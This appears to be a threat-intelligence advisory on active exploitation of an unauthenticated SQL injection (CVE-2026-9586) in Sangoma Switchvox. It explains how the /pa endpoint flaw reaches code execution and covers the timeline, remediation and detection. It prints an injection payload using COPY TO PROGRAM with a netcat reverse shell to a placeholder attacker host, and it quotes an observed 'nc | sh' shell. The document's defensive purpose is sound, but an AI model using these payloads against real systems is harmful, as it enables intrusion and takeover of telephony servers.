Active Exploitation of Sangoma Switchvox Unauthenticated SQL Injection (CVE-2026-9586) Deploying Reverse Shells
Active Exploitation of Sangoma Switchvox Unauthenticated SQL (TL-2026-2300) is a critical-severity software vulnerability scored CVSS 9.8, first published 2026-09-02. It has no confirmed attribution, affects Sangoma Switchvox SMB Edition, references 1 CVE (CVE-2026-9586), maps to 11 MITRE ATT&CK techniques (T1027, T1057, T1059.004), and is covered by 9 detection rules and 7 indicators of compromise.
Key facts for TL-2026-2300
- Threat ID
- TL-2026-2300
- Severity
- CRITICAL
- CVSS
- 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- Status
- ACTIVE
- Category
- VULNERABILITY
- First published
- 2026-09-02
- Last reviewed
- 2026-09-02
- Attribution confidence
- LOW
- Motivation
- FINANCIAL
- Target sectors
- telecoms, cross-sector
- Target regions
- united states of america
- Detection rules
- 9
- Indicators of compromise
- 7
Malware and tooling in Active Exploitation of Sangoma Switchvox Unauthenticated SQL
Malware and tooling: Unattributed second-stage cryptomining payload, Netcat, curl
Attackers are actively exploiting CVE-2026-9586, an unauthenticated SQL injection in Sangoma Switchvox's /pa endpoint that reaches remote code execution via PostgreSQL's COPY TO PROGRAM function. Horizon3 honeypots recorded exploitation since August 30, 2026 — reverse shells, process enumeration, and cookie-signing-key theft — against roughly 4,000 internet-exposed instances (mostly US-based); a patch (8.4.0.2) has been available since July 14, 2026.
How Active Exploitation of Sangoma Switchvox Unauthenticated SQL works
CVE-2026-9586 is an unauthenticated SQL injection vulnerability in Sangoma Switchvox SMB Edition (versions prior to 8.4.0.2, confirmed on build 104997). The flaw lives in PhoneAppsHandler.pm's handling of the /pa HTTP endpoint, which receives XML phone-provisioning messages containing <PolycomIPPhone> tags. The handler parses the XML with XML::Simple::XMLin() and extracts the PhoneIP field, then concatenates it, unsanitized and unparameterized, directly into a PostgreSQL query string (CWE-89). Because the query runs in a PostgreSQL superuser context, an attacker can escalate the injection into full remote code execution using PostgreSQL's COPY TO PROGRAM functionality — e.g. COPY (SELECT '') TO PROGRAM 'nc <attacker_ip> <port> -e /bin/bash'-- — to spawn a reverse shell with no authentication and a single crafted HTTP request.
Horizon3 (working with Security Risk Advisors, who reported related issues independently) disclosed 12 distinct Switchvox vulnerabilities to Sangoma on April 10, 2026; Sangoma validated a pre-release fix on April 21 and shipped the public patch (8.4.0.2) on July 14, 2026. Horizon3 and Defused Cyber had honeypots live from May 8, 2026 onward, and on August 30, 2026 those honeypots recorded live exploitation: a single source IP, 176.65.148.184, hit multiple honeypots in rapid succession, dropping reverse shells (nc <ip> <port> | sh), then running base64-encoded curl commands that piped `top` output back to a remote server to enumerate running processes. The Hacker News additionally reported that successful exploitation let attackers extract database contents, modify user records, and exfiltrate cookie-signing keys to forge authentication credentials on the compromised instances. By the time of public disclosure (Horizon3 blog September 1, 2026; CISA KEV addition and mainstream press coverage September 2, 2026), Help Net Security reported the picture had broadened: dozens of additional source IPs were exploiting the honeypots, ranging from simple scanning to second-stage malware that initially resembled cryptominers, indicating opportunistic, financially-motivated mass exploitation rather than a single actor's campaign.
Around 4,000 Switchvox instances are visible on Shodan as internet-exposed, the large majority in the United States, giving attackers a wide, largely unpatched target set roughly seven weeks after the fix shipped. CISA added CVE-2026-9586 to the Known Exploited Vulnerabilities catalog on 2026-09-02 with a 2026-09-05 remediation due date under BOD 26-04.
MITRE ATT&CK techniques used in TL-2026-2300
Defense Evasion
T1027 Obfuscated Files or Information
Discovery
Execution
Command and Control
T1071.001 Web Protocols; T1095 Non-Application Layer Protocol
Initial Access
T1190 Exploit Public-Facing Application
Impact
T1496 Resource Hijacking; T1565.001 Stored Data Manipulation
Credential Access
T1552 Unsecured Credentials; T1606.001 Web Cookies
Reconnaissance
Affected products and versions in Active Exploitation of Sangoma Switchvox Unauthenticated SQL
- Sangoma — Switchvox SMB Edition
Vulnerable versions: Prior to 8.4.0.2 (confirmed on build 104997 / 8.3)
Fixed in: 8.4.0.2
Remediation for Active Exploitation of Sangoma Switchvox Unauthenticated SQL
Patches
- Sangoma Switchvox 8.4.0.2 (released 2026-07-14) — parameterizes the /pa endpoint's PhoneIP handling
Immediate actions
- Apply Sangoma Switchvox patch 8.4.0.2 immediately (fixes CVE-2026-9586; available since 2026-07-14)
- Restrict network access to the Switchvox web management interface and the /pa endpoint to trusted IPs only
- Review /var/log/switchvox/db-quirks.log for SQL injection payload artifacts indicating prior compromise
- Rotate cookie signing keys/session secrets on any instance suspected of compromise to invalidate forged authentication
- Block known attacker IP 176.65.148.184 at the network perimeter and hunt for the dozens of other reported scanning/second-stage-malware source IPs
Workarounds
- If immediate patching is not possible, firewall or disable the /pa endpoint from untrusted networks per CISA BOD 26-04 guidance
- Discontinue internet exposure of the Switchvox management interface until patched
Longer-term hardening
- Remove PBX/VoIP management interfaces from direct internet exposure via network segmentation
- Deploy WAF/IPS signatures for SQL injection patterns targeting XML-based phone provisioning endpoints
- Monitor PostgreSQL logs for unauthorized COPY TO PROGRAM invocations
- Establish continuous external attack-surface scanning for internet-exposed VoIP/PBX infrastructure
CVEs associated with Active Exploitation of Sangoma Switchvox Unauthenticated SQL
Weaknesses (CWE) in Active Exploitation of Sangoma Switchvox Unauthenticated SQL
CWE-89
Timeline of Active Exploitation of Sangoma Switchvox Unauthenticated SQL
- Horizon3 reports 12 distinct Switchvox vulnerabilities, including what would become CVE-2026-9586, to Sangoma; Sangoma acknowledges receipt the same day.
- Sangoma provides Horizon3 a pre-release patch for validation.
- Horizon3 and Defused Cyber deploy internet-facing Switchvox honeypots to monitor for exploitation attempts.
- Security Risk Advisors (SRA) independently reports related Switchvox issues to Sangoma.
- Sangoma publicly releases Switchvox 8.4.0.2, fixing CVE-2026-9586 by parameterizing the /pa endpoint's PhoneIP handling.
- Security Risk Advisors publishes its own independent advisory on the vulnerability.
- Honeypots record live in-the-wild exploitation from source IP 176.65.148.184, deploying reverse shells and enumerating processes across multiple systems in rapid succession.
- Horizon3 publishes its technical disclosure blog on CVE-2026-9586, including the SQL injection and COPY TO PROGRAM RCE mechanics.
- BleepingComputer and The Hacker News report the active exploitation campaign, including cookie-signing-key exfiltration used to forge authentication.
- Help Net Security reports dozens of additional source IPs now exploiting the flaw, including simple scanning and second-stage malware initially resembling cryptominers.
- CISA adds CVE-2026-9586 to the Known Exploited Vulnerabilities catalog with a 2026-09-05 remediation due date under BOD 26-04.
Sources cited for Active Exploitation of Sangoma Switchvox Unauthenticated SQL
- Hackers exploit Sangoma Switchvox flaw to deploy reverse shells
- CVE-2026-9586: Sangoma Switchvox RCE
- NVD - CVE-2026-9586
- CISA Known Exploited Vulnerabilities Catalog - CVE-2026-9586
- Exploitation of Sangoma Switchvox flaw is underway (CVE-2026-9586)
- Attackers Exploit Critical Switchvox Flaw to Deploy Reverse Shells
More in vulnerability
- VLC Media Player: Integer Overflow in AllocatePicture (CVE-2026-56711) and RTSP Heap Out-of-Bounds Read (CVE-2026-73324)
- Dutch NCSC Warns of Critical Check Point VPN Flaws (CVE-2026-85102, CVE-2026-85103) — Exploitation Expected Imminently
- GitLab Patches Max-Severity Unauthenticated Path Traversal Flaw in Repository Commits API (CVE-2026-85706, CVSS 10.0)
- CVE-2026-0310: PAN-OS XML Processing Out-of-Bounds Write Enables Unauthenticated Root RCE
- Endor Labs Discloses 14 Critical/High Vulnerabilities Across Seven AI Orchestration Platforms (NocoBase, Flowise, Langflow, Dify, Activepieces, Kestra, Apache Airflow)
Detection coverage for TL-2026-2300
As of 2026-09-02, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2300 across Splunk SPL, Microsoft KQL and Sigma, covering 7 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.